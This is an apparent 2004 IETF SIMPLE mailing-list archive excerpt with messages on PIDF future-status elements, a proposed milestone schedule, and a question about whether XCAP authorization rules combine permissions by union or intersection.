<BR><FONT SIZE=2>&gt;&nbsp; &gt; Jonathan Rosenberg wrote:</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp; Future status cannot be expressed with &lt;tuples&gt; elements with</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp;&nbsp;&nbsp; optional extensions since PIDF parsers would not be able to</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;&gt;&nbsp;&nbsp;&nbsp; distinguish current from future or past information.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; I think you mean &lt;tuple&gt; elements. In any case, this text is not quite</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; right. You are in fact extending &lt;tuple&gt; with an optional extension,</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; &lt;future-status&gt;. What I think you mean is that you cannot just extend</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; an existing element, like &lt;activity&gt;, with attributes that define the</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; future status, because these would not be understood and thus</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; misinterpreted as current status.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; Not only can't, but don't want to. The goal is to provide a way to use</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; all the normal attributes that define current status to define future</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; status as well. So the goal is to provide a separate context in which</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; the existing elements may be used where they won't be misunderstood by</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; those who don't understand this extension.</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; Unfortunately, the nature of the schemas is that the new one cannot</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; say where in the PIDF document this is supposed to go. You need to</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; specify that this element MUST be a child of &lt;tuple&gt;. Also, can you</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; have more than one (I think so)? In that case, can they represent</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;&gt; overlapping times (I think so)?</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; That is an ugly case, because when there is an overlap, which takes</FONT>
<BR><FONT SIZE=2>&gt;&nbsp; &gt; precedence?</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I had in mind cases where the attributes in the overlapping time-spaces</FONT>
<BR><FONT SIZE=2>&gt; themselves did not overlap, e.g., i was &lt;busy&gt; from 10am-11am and &lt;in a</FONT>
<BR><FONT SIZE=2>&gt; meeting&gt; from 1030am to noon.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I suppose we could just mandate that the PA only generate notifications</FONT>
<BR><FONT SIZE=2>&gt; with non-overlapping intervals. This forces the PA to do any kind of</FONT>
<BR><FONT SIZE=2>&gt; precedence computations. I think the PA is the only one that can do it.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -Jonathan R.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; -- </FONT>
<BR><FONT SIZE=2>&gt; Jonathan D. Rosenberg, Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=2>&gt; Chief Technology Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ 07054-2711</FONT>
<BR><FONT SIZE=2>&gt; dynamicsoft</FONT>
<BR><FONT SIZE=2>&gt; jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="http://www.jdrosen.net" TARGET="_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="http://www.dynamicsoft.com" TARGET="_blank">http://www.dynamicsoft.com</A></FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; _______________________________________________</FONT>
<BR><FONT SIZE=2>&gt; Simple mailing list</FONT>
<BR><FONT SIZE=2>&gt; Simple@ietf.org</FONT>
<BR><FONT SIZE=2>&gt; <A HREF="https://www1.ietf.org/mailman/listinfo/simple" TARGET="_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

<P><FONT SIZE=2>-- </FONT>
<BR><FONT SIZE=2>Jonathan D. Rosenberg, Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=2>Chief Technology Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ 07054-2711</FONT>
<BR><FONT SIZE=2>dynamicsoft</FONT>
<BR><FONT SIZE=2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=2><A HREF="http://www.jdrosen.net" TARGET="_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=2><A HREF="http://www.dynamicsoft.com" TARGET="_blank">http://www.dynamicsoft.com</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3FFDE.3B1BF47A--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:07:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17893
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:07:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyNJ-00046o-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:07:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyMK-0003yw-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:06:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyLL-0003rH-00; Mon, 01 Mar 2004 20:05:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyLH-0003Bs-Rh; Mon, 01 Mar 2004 20:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyKM-0002tx-Bi
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:04:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17716
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:04:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyKK-0003iP-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:04:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyJK-0003aT-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:03:03 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyIN-0003Ok-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:02:03 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2211Xd03698;
	Mon, 1 Mar 2004 19:01:33 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Cc: Hisham Khartabil <hisham.khartabil@nokia.com>,
        Ted Hardie <hardie@qualcomm.com>
Content-Type: text/plain
Message-Id: <1078189248.1928.26.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Proposed SIMPLE Milestone Updates
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:00:48 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Folks,

As noted during yesterday's meeting, we're in the process of
updating the milestones for SIMPLE. This is our current plan.
If you have any comments/concerns, please send them to me or
Hisham as soon as you can.

Thanks,

RjS

-----------------------------------------------------------------

R - replaces/rewords existing milestone
N - new milestone

N Mar 04   Submission of indication of instant message preparation 
           using SIP to IESG for publication as a Proposed Standard
N Mar 04   Submission of Partial Notification mechanism to IESG
           for publication as a Proposed Standard
R Apr 04   Submission of base XCAP draft to IESG for publication
           as Proposed Standard
R Apr 04   Submission of XCAP usage for event lists draft to IESG
           for publication as Proposed Standard
R Apr 04   Submission of XCAP usage for setting presence authorization
           to IESG for publication as Proposed Standard
R Apr 04   Submission of XCAP usage for manipulation of 
           presence document content
N Apr 04   Submission of XCAP event package to IESG for 
           publication as Proposed Standard
  Apr 04   Submission of instant messaging session draft to IESG 
           for publication as a Proposed Standard  
  May 04   Submission of requirements for event publishing to the
           IESG for publication as Informational
N May 04   Submission of Filtering mechanisms to IESG for
           publication as a Proposed Standard
  May 04   Submission of SIMPLE PIDF profile to IESG for 
           publication as Proposed Standard  
N May 04   Submission of instant messaging session relay drafts 
           to IESG for publication as Proposed Standards  
  Jul 04   Submission of CPIM mapping draft to IESG for publication
           as Proposed Standard
  Jul 04   Submission of advanced messaging requirements draft to
           IESG for publication as Informational  
  Jul 04   Submission of proposed mechanisms meeting the advanced
           messaging requirements to the IESG or appropriate 
           working groups 
  Jul 04   Submission of Presence/IM System Architecture draft 
           to IESG for publication as Informational





_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:07:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17960
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:07:40 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyNN-0003Rm-Bn
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:07:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2217D3k013244
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:07:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyNM-0003RX-Rx
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:07:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17911
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:07:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyNK-000471-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:07:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyML-0003z3-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:06:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyLL-0003rH-00; Mon, 01 Mar 2004 20:05:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyLH-0003Bs-Rh; Mon, 01 Mar 2004 20:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyKM-0002tx-Bi
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:04:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17716
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:04:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyKK-0003iP-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:04:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyJK-0003aT-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:03:03 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyIN-0003Ok-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:02:03 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2211Xd03698;
	Mon, 1 Mar 2004 19:01:33 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Cc: Hisham Khartabil <hisham.khartabil@nokia.com>,
        Ted Hardie <hardie@qualcomm.com>
Content-Type: text/plain
Message-Id: <1078189248.1928.26.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Proposed SIMPLE Milestone Updates
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:00:48 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Folks,

As noted during yesterday's meeting, we're in the process of
updating the milestones for SIMPLE. This is our current plan.
If you have any comments/concerns, please send them to me or
Hisham as soon as you can.

Thanks,

RjS

-----------------------------------------------------------------

R - replaces/rewords existing milestone
N - new milestone

N Mar 04   Submission of indication of instant message preparation 
           using SIP to IESG for publication as a Proposed Standard
N Mar 04   Submission of Partial Notification mechanism to IESG
           for publication as a Proposed Standard
R Apr 04   Submission of base XCAP draft to IESG for publication
           as Proposed Standard
R Apr 04   Submission of XCAP usage for event lists draft to IESG
           for publication as Proposed Standard
R Apr 04   Submission of XCAP usage for setting presence authorization
           to IESG for publication as Proposed Standard
R Apr 04   Submission of XCAP usage for manipulation of 
           presence document content
N Apr 04   Submission of XCAP event package to IESG for 
           publication as Proposed Standard
  Apr 04   Submission of instant messaging session draft to IESG 
           for publication as a Proposed Standard  
  May 04   Submission of requirements for event publishing to the
           IESG for publication as Informational
N May 04   Submission of Filtering mechanisms to IESG for
           publication as a Proposed Standard
  May 04   Submission of SIMPLE PIDF profile to IESG for 
           publication as Proposed Standard  
N May 04   Submission of instant messaging session relay drafts 
           to IESG for publication as Proposed Standards  
  Jul 04   Submission of CPIM mapping draft to IESG for publication
           as Proposed Standard
  Jul 04   Submission of advanced messaging requirements draft to
           IESG for publication as Informational  
  Jul 04   Submission of proposed mechanisms meeting the advanced
           messaging requirements to the IESG or appropriate 
           working groups 
  Jul 04   Submission of Presence/IM System Architecture draft 
           to IESG for publication as Informational





_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:19:13 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18752
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:19:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyZ1-0005t7-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:19:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXr-0005eP-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:18:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWt-0005UV-00; Mon, 01 Mar 2004 20:17:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWr-00053p-E0; Mon, 01 Mar 2004 20:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyW8-00050Q-Qd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:16:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18613
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:16:13 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyW6-0005MR-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyV9-0005Cx-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:16 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyUI-00053l-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:14:22 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EK028820;
	Tue, 2 Mar 2004 03:14:20 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:14:17 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221EHaP031220;
	Tue, 2 Mar 2004 03:14:17 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00IDVzF5; Tue, 02 Mar 2004 03:14:16 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EG723367;
	Tue, 2 Mar 2004 03:14:16 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:16 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] New xcap authorization documents - unions vs. intersections?
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFC@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] New xcap authorization documents
Thread-Index: AcPvSAnlGDdWtkDYR5GSxd9IBCgMVgQaFOkg
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:16.0086 (UTC) FILETIME=[AE2D8360:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:16 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

After reading the documents I must admit I have a fundamental problem in =
understanding how the common policy permission combination is meant to =
work.

In Chapter 4 it says that permissions are additive: "If several rules =
match, then the overall permissions granted to the WR are the union of =
those permissions."

This makes sense to me. If one rule gives certain user rights to {A,B,C} =
and another rule to {C,D} it seems intuitive that the overall rigths are =
to {A,B,C,D}; or if one rule gives rights to accuracy "low" and another =
to "high", "high" would be the end-result.

However, Chapter 10 explains in detail how permissions are combined and =
that does not seem at all additive to me. For instance combining rule =
CR3 states that if the permission is of a "set" type, the overall =
permission should be _intersection_ of all given permissions. In the =
above case this would mean that only {C} is granted. Why is this? =
Shouldn't it be a union?

More precisely about the concrete presence authorization rules: Let's =
assume I have a rule that allows tuples of class X and Y to be shown to =
domain example.com, and another rule that allows tuple Z to be shown to =
bob@example.com. If the permissions were additive, I expected bob to get =
X, Y and Z - while according to the current logic I think nothing is =
given, as the intersection is an empty set.

Please clarify what is wrong in my interpretation.

Markus

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 February, 2004 21:46
> To: Simple WG
> Subject: [Simple] New xcap authorization documents
>=20
>=20
> Folks,
>=20
> We've completed the major first step of integrating the geopriv and=20
> simple authorization specifications. -00 drafts have been=20
> submitted to=20
> both geopriv and simple supporting this unification.
>=20
> In geopriv, the main draft to look at is this one (available in the=20
> archives shortly:)
> http://ecotroph.net/~anewton/resources/geopriv/draft-ietf-geop
> riv-common-policy-00.txt
>=20
> This is the common policy specification. It outlines the=20
> framework for=20
> representing policies, and defines some basic elements, such as=20
> confirming subscriptions and identifying watchers. At this time, it=20
> includes support for the "exception" clause against domains.
>=20
> This specification is extended (and in particular, the abstract=20
> condition, action, and transformation elements are made=20
> concrete) with=20
> presence specific data in:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-rules-00.txt
>=20
> which should also appear in the archives shortly. This draft will=20
> replace draft-ietf-simple-xcap-auth-usage-01.txt once the=20
> group is happy=20
> with the approach.
>=20
> Another change is the removal of "supported permissions" from=20
> xcap-auth-usage. That, like authorization rules, is now broken into a=20
> common core document and a presence specific one.
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-common-po
> licy-caps-00.txt
>=20
> specifies the common document, and:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-pres-poli
> cy-caps-00.txt
>=20
> contains the capabilities specific to presence.
>=20
> These are both very simple specifications.
>=20
> I think the resulting document set is much cleaner and easier to=20
> understand than before. Put together, beyond a split, here=20
> are the major=20
> changes:
>=20
> * all conditions are part of a rule-wide selector (the conditions=20
> element) rather than specific to permissions. As such, the accept-if=20
> condition is gone.
>=20
> * only domain's have except clauses. There is no longer an "any"=20
> condition or the ability to reference a list.
>=20
> * The "sphere" element is now present as a condition
>=20
> * There is a "validity" condition which allows you to=20
> temproally scope=20
> the validity of a document
>=20
> * Removed "can-encrypt" condition - trying to keep things minimal.
>=20
> * You can now explicitly ask for subscription confirmation using the=20
> confirmation action from the common document
>=20
> * You can explicitly accept or reject subscriptions with the=20
> accept-subscription action in the presence specific document.
>=20
> * You can now explicitly polite block. The behavior of the=20
> server when=20
> the user requests polite blocking is not defined - its implementation=20
> specific.
>=20
> * There is no longer an "encrypt" action for requesting the server to=20
> send encrypted notifications.
>=20
> * There is now an "anonymous" condition which allows you to specify=20
> policies based on whether the subscription was anonymous
>=20
> * Specific treatment for identity matching is defined for SIP digest=20
> authentication, P-asserted-ID and sip-identity
>=20
> * There are three content transformations defined - show-tuple,=20
> show-namespace and show-element. Each of these is applied=20
> INDEPENDENTLY,=20
> so if an item is filtered by any one of these, its filtered=20
> out of the=20
> document.
>=20
> * show-note and show-contact have been removed to simplify
>=20
> * defaults were established for the above three transformations
>=20
> * The documents are much less xcap-centric. They talk about document=20
> formats, and have a small section at the end which defines=20
> the usage for=20
> xcap. The title and filenames have also changed to reflect this. This=20
> clarifies that these documents can be used outside of xcap.
>=20
>=20
>=20
> Please take a look and send comments.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 20:19:16 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18773
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:19:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyZ3-0005tV-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:19:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXt-0005eh-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:18:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWt-0005UX-00; Mon, 01 Mar 2004 20:17:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
